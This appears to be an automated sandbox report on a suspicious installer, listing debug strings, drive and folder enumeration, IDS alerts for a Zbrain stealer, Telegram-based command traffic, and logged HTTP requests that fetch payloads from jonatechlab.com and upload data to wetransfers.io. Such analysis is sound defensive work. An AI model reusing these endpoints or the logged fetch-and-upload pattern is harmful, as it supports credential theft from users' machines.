Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbn source: setup.exe, 00000000.00000003.1748683968.00000000098C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdbSHA256S source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F35470000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdb source: MainSoftware.exe, 00000013.00000002.2503638847.0000020F3AA9C000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503760658.0000020F3AAB1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/netstandard/Release/net8.0-windows/netstandard.pdb source: MainSoftware.exe, 00000013.00000002.2487355740.0000020F352C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487291255.0000020F35298000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2544800776.000001A505BF1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\stubs\x86\ExternalUi.pdb source: setup.exe, setup.exe, 00000000.00000002.2599874547.00000000005D9000.00000002.00000001.01000000.00000003.sdmp, setup.exe, 00000000.00000000.1723309056.00000000005D9000.00000002.00000001.01000000.00000003.sdmp, setup.exe, 00000006.00000000.1918855611.00000000005D9000.00000002.00000001.01000000.00000003.sdmp, setup.exe, 00000006.00000002.2566522747.00000000005D9000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: System.Net.NameResolution.ni.pdb source: MainSoftware.exe, 00000013.00000002.2502957878.0000020F3A5E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502832383.0000020F3A5CD000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Claims\Release\net8.0\System.Security.Claims.pdb source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdb source: MainSoftware.exe, 00000013.00000002.2488437888.0000020F37113000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488514061.0000020F37141000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Numerics.Vectors\Release\net8.0\System.Numerics.Vectors.pdb source: MainSoftware.exe, 00000013.00000002.2489977509.0000020F3773C000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2490087775.0000020F37741000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Threading.ni.pdb source: MainSoftware.exe, 00000013.00000002.2484894819.000001CE9DE41000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488855338.0000020F373AB000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Net/Release/net8.0-windows/System.Net.pdb source: MainSoftware.exe, 00000013.00000002.2489977509.0000020F37737000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog.Sinks.Http/obj/Release/netstandard2.1/Serilog.Sinks.Http.pdb source: MainSoftware.exe, 00000013.00000002.2485737833.000001CE9F921000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487246699.0000020F35279000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\Users\Admin\Distributor\Bundle Project\MSIInstaller\obj\Release\net8.0\win-x64\linked\MSIInstaller.pdb source: setup.exe, 00000000.00000003.1996568847.000000000C6CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net8.0\System.Runtime.InteropServices.pdb source: MainSoftware.exe, 00000013.00000002.2489367223.0000020F37531000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489300922.0000020F37515000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Numerics/Release/net8.0-windows/System.Numerics.pdb source: MainSoftware.exe, 00000013.00000002.2486229465.0000020F34470000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F37755000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2555282561.000001A507DF5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.EventBasedAsync\Release\net8.0\System.ComponentModel.EventBasedAsync.pdb source: MainSoftware.exe, 00000013.00000002.2489144792.0000020F374C2000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.NetworkInformation.ni.pdb source: MainSoftware.exe, 00000013.00000002.2503789563.0000020F3AACA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503877554.0000020F3AAE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575358447.000001A50AD5A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: #.Pdb source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2490526230.0000020F377C1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: wininet.pdb source: setup.exe, 00000000.00000003.1755437103.0000000009AC9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1932053520.000000000784C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Text.Encodings.Web.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376DA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489851537.0000020F376F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdb source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Concurrent.ni.pdb source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F3775D000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2490316786.0000020F37781000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2555282561.000001A507DFD000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489043076.0000020F37463000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489114931.0000020F37491000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ComponentModel.Primitives.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489210974.0000020F374E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489144792.0000020F374C9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NetworkInformation\Release\net8.0-windows\System.Net.NetworkInformation.pdb source: MainSoftware.exe, 00000013.00000002.2503789563.0000020F3AACA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503877554.0000020F3AAE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575358447.000001A50AD5A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Private.Uri.ni.pdb source: MainSoftware.exe, 00000013.00000002.2488949645.0000020F373C7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489017313.0000020F373F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections\Release\net8.0\System.Collections.pdb source: MainSoftware.exe, 00000013.00000002.2485624708.000001CE9F8F1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485552514.000001CE9F8C9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2539907807.00000164700D9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encoding/Release/net8.0-windows/System.Text.Encoding.pdb source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376D6000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\FileOperations.pdb source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\dlls\mscordac\mscordaccore.pdb source: setup.exe, 00000000.00000003.1996568847.000000000C549000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, MainSoftware.exe, 00000013.00000000.2458837623.00007FF736428000.00000002.00000001.01000000.0000000A.sdmp, SoftwareDistributor.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2488625597.0000020F371C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488546167.0000020F37179000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Registry\Release\net8.0-windows\Microsoft.Win32.Registry.pdb source: MainSoftware.exe, 00000013.00000002.2489560998.0000020F37591000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489475473.0000020F37577000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdb source: MainSoftware.exe, 00000013.00000002.2488437888.0000020F37113000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488514061.0000020F37141000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Collections.NonGeneric.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489276519.0000020F37501000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489234377.0000020F374F1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Threading.Timer/Release/net8.0-windows/System.Threading.Timer.pdb source: MainSoftware.exe, 00000013.00000002.2488855338.0000020F373A7000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Threading.Tasks/Release/net8.0-windows/System.Threading.Tasks.pdb source: MainSoftware.exe, 00000018.00000002.2584299572.000001A50B57A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: MainSoftware.exe, 00000013.00000002.2489043076.0000020F37463000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489114931.0000020F37491000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdbE source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Debug/Release/net8.0-windows/System.Diagnostics.Debug.pdb source: MainSoftware.exe, 00000013.00000002.2488437888.0000020F37110000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdb source: MainSoftware.exe, 00000013.00000002.2502776162.0000020F3A5B1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502635521.0000020F3A5A2000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2574402265.000001A50AC51000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Memory.ni.pdb source: MainSoftware.exe, 00000013.00000002.2503638847.0000020F3AA9C000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503760658.0000020F3AAB1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdb source: MainSoftware.exe, 00000013.00000002.2490472097.0000020F377B1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489475473.0000020F37573000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Extensions.Configuration.Abstractions/Release/net7.0/Microsoft.Extensions.Configuration.Abstractions.pdb source: MainSoftware.exe, 00000013.00000002.2487378762.0000020F352E0000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487438441.0000020F35301000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdb source: MainSoftware.exe, 00000013.00000002.2488855338.0000020F373A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503137120.0000020F3A601000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog.Formatting.Compact/obj/Release/net8.0/Serilog.Formatting.Compact.pdb source: MainSoftware.exe, 00000013.00000002.2485427774.000001CE9F7A8000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485674994.000001CE9F911000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdbSHA2560 source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376D2000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdb source: MainSoftware.exe, 00000013.00000002.2488625597.0000020F371C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488546167.0000020F37179000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Security.Cryptography.ni.pdb source: MainSoftware.exe, 00000013.00000002.2488665246.0000020F37216000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488782180.0000020F372E1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdb source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F37755000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2555282561.000001A507DF5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http.Json\Release\net8.0\System.Net.Http.Json.pdb source: MainSoftware.exe, 00000013.00000002.2489453415.0000020F37561000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489389183.0000020F3754A000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2554946567.000001A507DB1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Runtime.InteropServices.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489367223.0000020F37531000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489300922.0000020F37515000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net8.0\System.Linq.pdbSHA256R source: MainSoftware.exe, 00000013.00000002.2487020549.0000020F351A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487094284.0000020F351D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2540077777.0000016470123000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Extensions.Primitives/Release/net7.0/Microsoft.Extensions.Primitives.pdb source: MainSoftware.exe, 00000013.00000002.2487133129.0000020F35202000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encodings.Web\Release\net8.0\System.Text.Encodings.Web.pdb source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376DA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489851537.0000020F376F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdb source: MainSoftware.exe, 00000013.00000002.2487586989.0000020F353C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487462974.0000020F35318000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\Corehost.Static\singlefilehost.pdb source: setup.exe, 00000000.00000003.1996568847.000000000BD1E000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2517588700.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000013.00000000.2458595284.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000018.00000000.2467569570.00007FF73624D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Primitives\Release\net8.0\System.ComponentModel.Primitives.pdb source: MainSoftware.exe, 00000013.00000002.2489210974.0000020F374E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489144792.0000020F374C9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Sockets\Release\net8.0-windows\System.Net.Sockets.pdb source: MainSoftware.exe, 00000013.00000002.2502593462.0000020F3A561000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502506832.0000020F3A521000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Intrinsics\Release\net8.0\System.Runtime.Intrinsics.pdb source: MainSoftware.exe, 00000013.00000002.2489892751.0000020F37714000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489956997.0000020F37721000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Http.ni.pdb source: MainSoftware.exe, 00000013.00000002.2487586989.0000020F353C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487462974.0000020F35318000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdb source: MainSoftware.exe, 00000013.00000002.2485338304.000001CE9F783000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485407545.000001CE9F791000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Buffers/Release/net8.0-windows/System.Buffers.pdb source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F37759000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: setup.exe, 00000000.00000003.1748683968.00000000098C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdb source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376D2000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\lzmaextractor.pdb source: setup.exe, 00000000.00000003.1748683968.00000000098C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Principal.Windows\Release\net8.0-windows\System.Security.Principal.Windows.pdb source: MainSoftware.exe, 00000013.00000002.2503289063.0000020F3A631000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503182962.0000020F3A611000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575095760.000001A50ACF1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdbSHA2560 source: MainSoftware.exe, 00000013.00000002.2488855338.0000020F373A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503137120.0000020F3A601000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Primitives.ni.pdb source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F3547B000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487805041.0000020F354A1000.00000020.00000001.00040000.0000000A.sdmp

Source: C:\Users\user\Desktop\setup.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	File opened: e:	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	File opened: c:
Source: C:\Users\user\Desktop\setup.exe	File opened: a:	Jump to behavior

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A03E0 FindFirstFileW,FindClose,CreateEventW,CreateThread,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	0_2_004A03E0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004763A0 FindFirstFileW,GetLastError,FindClose,	0_2_004763A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A2630 FindFirstFileW,FindClose,CloseHandle,CloseHandle,	0_2_004A2630
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_003354C0 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,	0_2_003354C0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049C670 FindFirstFileW,FindClose,	0_2_0049C670
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004C0840 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,	0_2_004C0840
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00485040 FindFirstFileW,FindClose,FindClose,	0_2_00485040
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00475A60 FindFirstFileW,FindFirstFileW,FindClose,FindClose,	0_2_00475A60
Source: C:\Users\user\Desktop\setup.exe	Code function: 6_2_003354C0 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,	6_2_003354C0

Source: C:\Users\user\Desktop\setup.exe

Code function: 6_2_00359010 GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLastError,

6_2_00359010

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2829202 - Severity 1 - ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA : 192.168.2.4:49737 -> 172.67.183.127:443
Source: Network traffic	Suricata IDS: 2829202 - Severity 1 - ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA : 192.168.2.4:49739 -> 172.67.183.127:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 104.21.59.228 443
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 149.154.167.220 443
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 34.160.111.145 80

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: POST /install/new HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000Transfer-Encoding: chunkedContent-Type: application/json; charset=utf-8
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: jonatechlab.comContent-Type: application/jsonContent-Length: 831
Source: global traffic	HTTP traffic detected: GET /install/whattoinstall/89b7e6dd-bc12-46a1-96dc-aded5f1cf453 HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: GET /install/getfiles/Chop/Install.exe HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: jonatechlab.comContent-Type: application/jsonContent-Length: 133
Source: global traffic	HTTP traffic detected: GET /install/getfiles/Chop/Chop.pkg HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: swiftvantage.onlineContent-Type: application/jsonContent-Length: 1339
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: jonatechlab.comContent-Type: application/jsonContent-Length: 375
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: swiftvantage.onlineContent-Type: application/jsonContent-Length: 178
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: swiftvantage.onlineContent-Type: application/jsonContent-Length: 276
Source: global traffic	HTTP traffic detected: POST /tools/create HTTP/1.1Host: swiftvantage.onlineContent-Type: application/json; charset=utf-8Content-Length: 66
Source: global traffic	HTTP traffic detected: GET /tools/domains HTTP/1.1Host: swiftvantage.online
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: swiftvantage.onlineContent-Type: application/jsonContent-Length: 114
Source: global traffic	HTTP traffic detected: POST /uplo.php HTTP/1.1Host: wetransfers.ioAccept: /Content-Length: 11232Content-Type: multipart/form-data; boundary=------------------------MSqtZT4VmzaU3zZZL5a8jB
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: swiftvantage.onlineContent-Type: application/jsonContent-Length: 533
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: swiftvantage.onlineContent-Type: application/jsonContent-Length: 114
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ifconfig.meAccept: /

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 34.160.111.145 34.160.111.145

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

